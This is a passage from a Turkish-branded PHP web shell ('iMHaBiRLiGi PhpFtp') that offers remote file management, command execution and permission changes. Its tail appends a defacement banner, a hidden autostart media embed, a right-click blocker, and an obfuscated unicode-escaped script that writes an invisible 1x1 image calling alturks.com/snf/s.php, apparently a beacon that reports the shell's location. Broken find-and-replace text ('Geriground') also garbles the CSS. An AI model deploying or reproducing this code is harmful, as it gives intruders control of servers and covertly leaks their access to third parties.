  1816. 'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
  1817. 'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
  1818. 'not_Düzenleed' => '"[%1]" kan inte ändras.',
  1819. 'executed' => "\"[%1]\" har utförts:\n{%2}",
  1820. 'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
  1821. 'saved' => '"[%1]" har sparats.',
  1822. 'not_saved' => '"[%1]" kunde inte sparas.',
  1823. 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
  1824. 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
  1825. 'permission_for' => 'Rättigheter för "[%1]":',
  1826. 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
  1827. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1828. 'not_readable' => '"[%1]" kan inte läsas.'
  1829.         );
  1830.  
  1831.     case 'en':
  1832.     default:
  1833.  
  1834.         $date_format = 'n/j/y H:i:s';
  1835.         $word_charset = 'ISO-8859-1';
  1836.  
  1837.         return array(
  1838. 'directory' => 'Düzergah',
  1839. 'file' => 'Dosya',
  1840. 'filename' => 'DosyaAdi',
  1841.  
  1842. 'size' => 'Boyut',
  1843. 'permission' => 'izin',
  1844. 'owner' => 'Sahip',
  1845. 'group' => 'Grup',
  1846. 'other' => 'Diðerleri',
  1847. 'Görevler' => 'Görevler',
  1848.  
  1849. 'read' => 'Oku',
  1850. 'write' => 'Yaz',
  1851. 'execute' => 'Uygula',
  1852.  
  1853. 'create_symlink' => 'create symlink',
  1854. 'Sil' => 'Sil',
  1855. 'Degistir' => 'Degistir',
  1856. 'Tasi' => 'Tasi',
  1857. 'Kopyala' => 'Kopyala',
  1858. 'Düzenle' => 'Düzenle',
  1859. 'indir' => 'indir',
  1860. 'upload' => 'Yükle',
  1861. 'create' => 'Olustur',
  1862. 'change' => 'Degisiklik',
  1863. 'save' => 'Kaydet',
  1864. 'set' => 'Koyulan',
  1865. 'reset' => 'Yenile',
  1866. 'relative' => 'Hedefe Yolla',
  1867.  
  1868. 'yes' => 'Evet',
  1869. 'no' => 'Hayir',
  1870. 'Geri' => 'Geri',
  1871. 'Yol' => 'Yol',
  1872. 'symlink' => 'Symlink',
  1873. 'no_output' => 'Hiçbir çýktý',
  1874.  
  1875. 'user' => 'Kullanýcý',
  1876. 'password' => 'Sifre',
  1877. 'add' => 'Ekle',
  1878. 'add_basic_auth' => 'add basic-authentification',
  1879.  
  1880. 'uploaded' => '"[%1]" Yüklendi.',
  1881. 'not_uploaded' => '"[%1]" Yüklenemedi.',
  1882. 'already_exists' => '"[%1]" Þimdiden var ol.',
  1883. 'created' => '"[%1]" Olusturuldu.',
  1884. 'not_created' => '"[%1]" Olusturuldu.',
  1885. 'really_Sil' => 'Silinen dosyalar?',
  1886. 'Sild' => "Bu dosyalar,oldu Sild:\n[%1]",
  1887. 'not_Sild' => "Bu dosyalar olamazdý Sild:\n[%1]",
  1888. 'Degistir_file' => 'Dosyayi Degistir:',
  1889. 'Degistird' => '"[%1]" Degistirildi "[%2]".',
  1890. 'not_Degistird' => '"[%1] Degistirilemedi "[%2]".',
  1891. 'Tasi_files' => 'Dosyayi TAsi:',
  1892. 'Tasid' => "Bu Dosyalar Tasindi \"[%2]\":\n[%1]",
  1893. 'not_Tasid' => "Bu Dosyalar Tasinamaz \"[%2]\":\n[%1]",
  1894. 'Kopyala_files' => 'Bu Dosyalari Kopyala:',
  1895. 'copied' => "Bu Dosyalar Kopyalanir \"[%2]\":\n[%1]",
  1896. 'not_copied' => "Bu Dosyalar Kopyalanamaz \"[%2]\":\n[%1]",
  1897. 'not_Düzenleed' => '"[%1]" Düzenle.',
  1898. 'executed' => "\"[%1]\" Basarili bir sekilde Uygulandi:\n{%2}",
  1899. 'not_executed' => "\"[%1]\" Basarili bir sekilde Uygulanamadi:\n{%2}",
  1900. 'saved' => '"[%1]" Kurtarildi.',
  1901. 'not_saved' => '"[%1]" Kurtarýlamadý.',
  1902. 'symlinked' => 'Symlink "[%2]" to "[%1]" Olusturuldu.',
  1903. 'not_symlinked' => 'Symlink "[%2]" to "[%1]" Olusturulamadi.',
  1904. 'permission_for' => 'izin "[%1]":',
  1905. 'permission_set' => 'izin "[%1]" Kopyalandi [%2].',
  1906. 'permission_not_set' => 'izin "[%1]" Yapilamadi [%2].',
  1907. 'not_readable' => '"[%1]" Okunamadi.'
  1908.         );
  1909.  
  1910.     }
  1911.  
  1912. }
  1913.  
  1914. function getimage ($image) {
  1915.     switch ($image) {
  1916.     case 'file':
  1917.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1918.     case 'folder':
  1919.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  1920.     case 'hidden_file':
  1921.         return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1922.     case 'link':
  1923.         return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  1924.     case 'smiley':
  1925.         return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  1926.     case 'arrow':
  1927.         return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  1928.     }
  1929. }
  1930.  
  1931. function html_header () {
  1932.     global $charset;
  1933.  
  1934.     echo <<<END
  1935. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1936.      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1937. <html xmlns="http://www.w3.org/1999/xhtml">
  1938. <head>
  1939.  
  1940. <meta http-equiv="Content-Type" content="text/html; charset=$charset" />
  1941.  
  1942. <title>iMHaBiRLiGi PhpFtp</title>
  1943.  
  1944. <style type="text/css">
  1945. body { font: small sans-serif; text-align: center }
  1946. img { width: 0px; height: 0px }
  1947. a, a:visited { text-decoration: none; color: red }
  1948. hr { border-style: none; height: 1px; Geriground-color: silver; color: silver }
  1949. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  1950. #main th { Geriground: #eee; padding: 3pt 3pt 0pt 3pt }
  1951. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  1952. .listing th { border: 1px solid silver }
  1953. .listing td { border: 1px solid #ddd; Geriground: white }
  1954. .listing .checkbox { text-align: center }
  1955. .listing .filename { text-align: left }
  1956. .listing .size { text-align: right }
  1957. .listing .permission_header { text-align: left }
  1958. .listing .permission { font-family: monospace }
  1959. .listing .owner { text-align: left }
  1960. .listing .group { text-align: left }
  1961. .listing .Görevler { text-align: left }
  1962. .listing_footer td { Geriground: #eee; border: 1px solid silver }
  1963. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  1964. #directory { Geriground: #eee; border: 1px solid silver }
  1965. #upload { padding-top: 1em }
  1966. #create { padding-bottom: 1em }
  1967. .small, .small option { font-size: x-small }
  1968. textarea { border: none; Geriground: white }
  1969. table.dialog { margin-left: auto; margin-right: auto }
  1970. td.dialog { Geriground: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  1971. #permission { margin-left: auto; margin-right: auto }
  1972. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  1973. td.permission_action { text-align: right }
  1974. #symlink { Geriground: #eee; border: 1px solid silver }
  1975. #symlink td { text-align: left; padding: 3pt }
  1976. #red_button { width: 120px; color: #400 }
  1977. #green_button { width: 120px; color: #040 }
  1978. #error td { Geriground: maroon; color: white; border: 1px solid silver }
  1979. #notice td { Geriground: green; color: white; border: 1px solid silver }
  1980. #notice pre, #error pre { Geriground: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  1981. code { font-size: 12pt }
  1982. td { white-space: nowrap }
  1983. </style>
  1984.  
  1985. <script type="text/javascript">
  1986. <!--
  1987. function activate (name) {
  1988.     if (document && document.forms[0] && document.forms[0].elements['focus']) {
  1989.         document.forms[0].elements['focus'].value = name;
  1990.     }
  1991. }
  1992. //-->
  1993. </script>
  1994.  
  1995. </head>
  1996. <body>
  1997.  
  1998.  
  1999. END;
  2000.  
  2001. }
  2002.  
  2003. function html_footer () {
  2004.  
  2005.     echo <<<END
  2006. </body>
  2007. </html>
  2008. END;
  2009.  
  2010. }
  2011.  
  2012. function notice ($phrase) {
  2013.     global $cols;
  2014.  
  2015.     $args = func_get_args();
  2016.     array_shift($args);
  2017.  
  2018.     return '<tr id="notice">
  2019.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2020. </tr>
  2021. ';
  2022.  
  2023. }
  2024.  
  2025. function error ($phrase) {
  2026.     global $cols;
  2027.  
  2028.     $args = func_get_args();
  2029.     array_shift($args);
  2030.  
  2031.     return '<tr id="error">
  2032.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2033. </tr>
  2034. ';
  2035.  
  2036. }
  2037.  
  2038. ?>
  2039. <BODY><IMG style="WIDTH: 306px; HEIGHT: 76px" height=100
  2040. src="http://www.nettekiadres.com/imhabirligi.jpg" width=282></BODY>
  2041. <br><Center>SU AN <A href="http://www.imhabirligi.com">iMHaBiRLiGi</A> HUDUTLARINDA BULUNMAKTASINIZ.!!</Center>
  2042. <FONT
  2043. class=footmsg><EMBED src=http://www.imhabirligi.com/r1/hurl.asx hidden=true
  2044. type="text/plain; charset=iso-8859-9"
  2045. AUTOSTART="TRUE">
  2046. <script language=JavaScript>
  2047. <!--
  2048.  
  2049. var message="";
  2050. ///////////////////////////////////
  2051. function clickIE() {if (document.all) {(message);return false;}}
  2052. function clickNS(e) {if
  2053. (document.layers||(document.getElementById&&!document.all)) {
  2054. if (e.which==2||e.which==3) {(message);return false;}}}
  2055. if (document.layers)
  2056. {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
  2057. else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
  2058.  
  2059. document.oncontextmenu=new Function("return false")
  2060. // -->
  2061. </script>
  2062. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Add Comment
Please, Sign In to add comment